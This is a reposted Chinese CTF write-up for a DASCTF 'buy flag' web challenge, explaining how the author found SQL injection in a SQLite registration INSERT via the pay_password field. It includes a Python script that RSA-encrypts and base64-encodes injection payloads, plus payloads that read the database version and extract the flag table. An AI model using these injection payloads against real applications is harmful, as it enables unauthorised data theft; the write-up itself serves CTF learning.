DASCTF 7月賽 - 安全,安全,還是xxx的安全(Writeup)


賽題分析

題目上來是買flag的,一開始我真的以為買flag給flag,聯想到了邏輯漏洞,但是測試后發現線程十分安全(一旦多了就自斷請求失敗!),直接又通過url聯想到了flask的SSTI,但是測試了后username參數過濾很嚴格,emmm陷入了沉思

直到Hint放出來才知道是SQL注入,az!

CREATE TABLE "users" (
  "id" INTEGER NOT NULL,
  "username" TEXT UNIQUE ,
  "login_password" text,
  "money" INTEGER,
  "pay_password" TEXT,
  "flag_num" INTEGER,
  PRIMARY KEY ("id")
);


CREATE TABLE "flaaaaaaaaag" (
  "flllllllag" TEXT
);

接下來就是艱難的注入史,從登陸框的usernamepassword開始日,再到購買flag時的pay_password,一直沒結果,看了一下請求包,發現passwordpay_password都是加密的,並且最開始的一層是MD5加密,直接麻了。傻子都知道MD5沒法逆推得明文的,數據庫應該是直接存MD5值的。然后無果了。。。就去讀書了

結束了之后,聽師傅們說好像是從注冊功能的pay_password打的,觀察了一下這個值是通過一層MD5加密、一層RSA加密以及一層BASE64完成的,並且右鍵查看源碼可以獲得RSA的公鑰

image-20210802001024185

既然MD5注入不了,那就從MD5和RSA中間注入了,寫了下面這個腳本用來從MD5到RSA加密再到BASE64的

#-- coding:UTF-8 --

from Crypto.PublicKey import RSA as rsa
from Crypto.Cipher import PKCS1_v1_5
import base64

public_key = '''-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW
3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu
AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX
UGzrDiFb40I47X6oRQIDAQAB
-----END PUBLIC KEY-----'''

def rsa_long_encrypt(pub_key_str, msg, length=100):
    """
    單次加密串的長度最大為 (key_size/8)-11
    1024bit的證書用100, 2048bit的證書用 200
    """
    pubobj = rsa.importKey(pub_key_str)
    pubobj = PKCS1_v1_5.new(pubobj)
    res = []
    for i in range(0, len(msg), length):
        res.append(pubobj.encrypt(msg[i:i+length]))
    return "".join(res)

if __name__ == "__main__":
    msg = "1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))))--+"
    enres = rsa_long_encrypt(public_key, msg, 65537)
    enbase64 = base64.b64encode(enres)
    print enbase64

這里的msg參數一開始1263304a220b23ff58ff5639e34a306b,接着改成了1263304a220b23ff58ff5639e34a306b')--+還是不行,在看Hint的時候發現,pay_password后面還有一個字段flag_num,於是改msg1263304a220b23ff58ff5639e34a306b',1)--+,哦吼!成功了

image-20210802000954482

image-20210802000842867

鎖定了注入點之后就好辦了,本來是要構造1263304a220b23ff58ff5639e34a306b',if(1=1,1,0))--+這種bool盲注形式的(回顯點在登錄后的首頁,如上圖所示),但是報錯了。找了一圈是Sqlite數據庫,這里判斷數據庫的方式是返回數據庫版本信息的不同:如Mysql(version())、Sqlserver(@@VERSION)、Sqlite(sqlite_version())。

通過Payload:1263304a220b23ff58ff5639e34a306b',sqlite_version())--+,確定數據庫的版本

image-20210802001928709

然后通過Hint知道了flag的表和列,可以直接獲得flag,Payload為:1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))))--+

image-20210802002357938

這里本來是想用Bool盲注的,但是Sqlite的Bool盲注好難用,沒搞明白,於是找了一種類似二次注入的方式。感覺題目本身不難,主要是小細節挺多的。

個人瞎猜

出現Hacker代表了SQL語句出錯

注冊

這里通過insert語句注入的,username這個參數因為在前面有進行select語句查詢,所以不適合注入,但是password參數應該是可以注入的(不過測試的時候是失敗的,哎不知道原因),pay_password參數可以注入

登錄

這里應該是通過username參數去數據庫找到password的md5值,然后與傳進來的進行對比,select語句雖然格式不固定,但是感覺可能也能做的

購買flag

這個地方應該是通過Cookie與數據庫進行交互了,通過select語句拿到pay_password對比,然后用update語句修改數值,不過這里應該會對flag_num會化成整數,不宜注入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM